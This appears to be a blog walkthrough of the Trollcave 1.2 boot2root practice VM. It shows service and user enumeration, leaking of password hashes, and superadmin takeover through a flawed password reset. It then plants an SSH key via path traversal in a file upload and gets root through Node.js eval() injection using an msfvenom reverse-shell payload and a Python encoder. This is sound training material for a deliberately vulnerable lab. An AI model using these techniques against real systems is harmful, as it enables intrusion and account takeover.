This post documents the complete walkthrough of Trollcave: 1.2, a boot2root VM created by David Yates, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.

On this post


Trollcave is a vulnerable VM, in the tradition of VulnHub and infosec wargames. You start with a virtual machine you know nothing about—no usernames, no passwords. In this instance, you see a simple community blogging website with a bunch of users. From this initial point, you determine the machine’s running services and general characteristics, and devise ways to gain complete control over it, by finding and exploiting vulnerabilities and misconfigurations.

Your first goal is to abuse the services on the machine to gain unauthorized shell access. Your ultimate goal is to read a text file in the root user’s home directory (/root/flag.txt).

Information Gathering

Let’s start with a nmap scan to establish the services available in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4b:ab:d7:2e:58:74:aa:86:28:dd:98:77:2f:53:d9:73 (RSA)
|   256 57:5e:f4:77:b3:94:91:7e:9c:55:26:30:43:64:b1:72 (ECDSA)
|_  256 17:4d:7b:04:44:53:d1:51:d2:93:e9:50:e0:b2:20:4c (ED25519)
80/tcp open  http    syn-ack ttl 64 nginx 1.10.3 (Ubuntu)
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Trollcave

nmap finds two open ports—22/tcp and 80/tcp. Nothing unusual here.

Trollcave Blog

This is how the site looks like in my browser.


Directory/File Enumeration

Let’s fuzz the site with wfuzz and big.txt from SecLists to look for directories and/or files.

# wfuzz -w /usr/share/seclists/Discovery/Web-Content/big.txt --hc 404 -t 50
* Wfuzz 2.2.9 - The Web Fuzzer                         *

Total requests: 20469

ID	Response   Lines      Word         Chars          Payload    

000576:  C=200     67 L	     176 W	   1564 Ch	  "404"
000659:  C=200     66 L	     160 W	   1477 Ch	  "500"
000597:  C=200     67 L	     171 W	   1547 Ch	  "422"
001816:  C=302      0 L	       5 W	     93 Ch	  "admin"
004982:  C=302      0 L	       5 W	     93 Ch	  "comments"
007427:  C=200      0 L	       0 W	      0 Ch	  "favicon.ico"
009531:  C=302      0 L	       5 W	     93 Ch	  "inbox"
011054:  C=200     61 L	     141 W	   2165 Ch	  "login"
015172:  C=302      0 L	       5 W	     88 Ch	  "register"
015300:  C=302      0 L	       5 W	     93 Ch	  "reports"
015551:  C=200      5 L	      33 W	    202 Ch	  "robots.txt"
018846:  C=302      0 L	       5 W	     93 Ch	  "user_files"
018906:  C=302      0 L	       5 W	     93 Ch	  "users"

The ones with the HTTP response code 302 redirect to /login. The top three with the HTTP response code 200 redirect to their respective error pages, e.g. /404 redirects to /404.html.

Ruby on Rails

These RESTful URLs I notice during my cursory browsing of the site, look a lot like the URLs you get from a RoR web application.

# curl -s | grep -Po '(href|src)=".{2,}"' | cut -d'"' -f2 | sort | uniq

The blog post below at /blogs/6 describes something about “… resource in rails”, which lends further credence that the site is a RoR web application. And OK, check out the Ruby avatar, isn’t that obvious enough? At least now we know what we are dealing with.

Image shows that the site is a RoR web application.


Enumerating Users

A RoR web application will, by default, produce JSON output, by appending .json. Knowing this will help in enumeration. Here, I’m able to determine the users of the site using nothing more than curl and a command-line JSON parser jq.

# curl -s{1..20}.json | jq -raM

  "id": 1,
  "name": "King",
  "email": "[email protected]",
  "password": null,
  "created_at": "2017-10-23T09:39:41.494Z",
  "updated_at": "2018-04-11T15:07:37.557Z"
  "id": 17,
  "name": "xer",
  "email": "[email protected]",
  "password": null,
  "created_at": "2017-10-23T09:39:42.856Z",
  "updated_at": "2018-04-11T15:07:37.743Z"

Enumerating Password Hashes

Using the same technique against /reports, I’m also able to get four password digests or hashes.

# curl -s{1..20}.json | jq -jaM
  "id": 1,
  "content": "offensive comment, not even clever.",
  "user": {
    "id": 17,
    "name": "xer",
    "email": "[email protected]",
    "password_hint": "fave pronoun",
    "password_digest": "$2a$10$FLjo5cedRTmoBjWowcC08.WmHpvltVEmmVoN8P5j6JQW/PzU3qmTq",
    "remember_digest": null,
    "role": 1,
    "hits": 6,
    "last_seen_at": null,
    "banned": null,
    "created_at": "2017-10-23T09:39:42.856Z",
    "updated_at": "2018-04-11T15:07:37.743Z",
    "avatar_id": null,
    "reset_digest": null,
    "reset_sent_at": null
  "blog": {
    "id": 4,
    "title": "Politics & religion thread",
    "content": "\nLet's discuss our political and religious beliefs. Try to keep it civil -- I will be monitoring this thread closely and handing out warns to anyone who starts making trouble.\n\nAs for my beliefs, I am a moderate upper wing Xen Scientologist, and I believe in equal wrongs for all.\n\t\t",
    "clearance": 0,
    "user_id": 5,
    "created_at": "2017-10-23T09:39:42.962Z",
    "updated_at": "2017-10-23T09:39:42.962Z"
  "comment_id": 2,
  "created_at": "2017-10-23T09:39:42.998Z",
  "updated_at": "2017-10-23T09:39:42.998Z"

The password digests or bcrypt hashes have salt and a computational cost of 10 rounds; cracking them is a futile exercise and a waste of CPU cycles. We need a better way.

Password Reset

Recall the blog post above on password_resets? Turns out the well-received RoR tutorial has a chapter on it, and provides a clue on how to proceed.


I’m able to navigate to the password reset page by going to /password_resets/new.


The initial attempt to reset King’s password (Superadmin) fails because the site has configured password reset for normal members. Well, let’s reset the password of an ordinary member and see what happens.

According to the blog post, the mailer has an issue resulting in the password reset URL presenting itself like so.


Notice the username in the password reset URL? Let’s abuse it to reset the King’s password.



I’m the King (Superadmin) :crown: now.

File Manager

I look at the File manager with interest since that’s the common way of putting files under the attacker’s control into the environment—through file upload.

The first file I try to upload is some random text; I want to see if there’s any kind of filtering in place.


I encounter the first obstacle—no upload. Well, I’m the Superadmin remember? I can go to the Admin panel to enable it.


Now that I’m able to upload files, what kind of file should I upload? RoR is not PHP and there’s no point in uploading .rb files if you know the directory structure of a RoR application.


Let’s see what happens when I upload a text file.


After the upload, I can view the file information by going to /user_files/[file_number] or /user_files/[file_number].json.


Now that we know the file’s absolute path, we can start to think about exploitation. At the upload page, we see that we can provide an alternative file name. Is this our ticket in?

When I gain access to Superadmin, I unlock more blog posts and there’s a particular blog post and comment that may potentially be the key information to gaining access.

Image shows user rails is present—SSH is possible?


Image shows file upload is vulnerable.


As we look at the above information, perhaps we can make use of the file upload vulnerability to upload the RSA public key I control to /home/rails/.ssh/authorized_keys?

First, let’s generate the RSA keypair with ssh-keygen.

# ssh-keygen -t rsa -b 2048
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): trollcave
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in trollcave.
Your public key has been saved in
The key fingerprint is:
SHA256:Xumzuy4PevNYxescbaB5fWicRBa5KtspSkTJaeeUM7E [email protected]
The key's randomart image is:
+---[RSA 2048]----+
|          .   .. |
|       . o +  .. |
|        * E   o. |
|       o + = o.  |
|        S + +..  |
|       o o.+.B o |
|        + *++.O .|
|       o++o*o+ . |
|      ..oBB+o    |

Next, we upload to /home/rails/.ssh/authorized_keys with a traversal technique.


Let’s verify the upload of the public key.


Low Privilege Shell

Now, let’s see if we can SSH into the rails account.




I notice an unknown service running at tcp/8888 during enumeration of rails account.


It turns out to be Node.js running some sort of calculator application for King.


If I had to guess, I would say this is the way to gain root privileges since King is on the sudoers list.


It’s interesting to note that this application is using eval(). Now, I’ve no doubt that eval() is our golden ticket.


According to MDN’s description of eval(),

The argument of the eval() function is a string. If the string represents an expression, eval() evaluates the expression. If the argument represents one or more JavaScript statements, eval() evaluates the statements. Do not call eval() to evaluate an arithmetic expression; JavaScript evaluates arithmetic expressions automatically.

Good thing msfvenom is able to generate a reverse shell payload for Node.js, but notice toString() after eval()? We need to make sure eval() returns a string so that toString() has something to do.

# msfvenom -p nodejs/shell_reverse_tcp LHOST= LPORT=44444 -o rev.js
# echo '1+1;' >> rev.js  <-- this is to make sure toString() has something to do ;)

We also need to ensure that our payload is a string for eval(). To do that, we can encode our payload into ordinal numbers and piece them back together with String.fromCharCode().

The following Python code does that.
#!/usr/bin/env python

f = open('rev.js', 'r')
encoded = ''
for c in
    encoded = encoded + ',' + str(ord(c))
print 'eval(String.fromCharCode(%s))' % encoded[1:]

All that’s left to do is to forward our local port tcp/9999 to the remote port tcp/8888 so that I can access it from my browser.

# ssh -L9999:localhost:8888 -i /root/keys/trollcave [email protected] -f -N


The final exploit URL looks like this.


A shell returns on my netcat listener and I can sudo as root.




This is the perfect opportunity to explore Ruby on Rails and Node.js. I’ve heard positive reviews from the webdev community but never got the chance to go deeper until now; not that I’m using them professionally though.

I rate this VM highly educational and fun.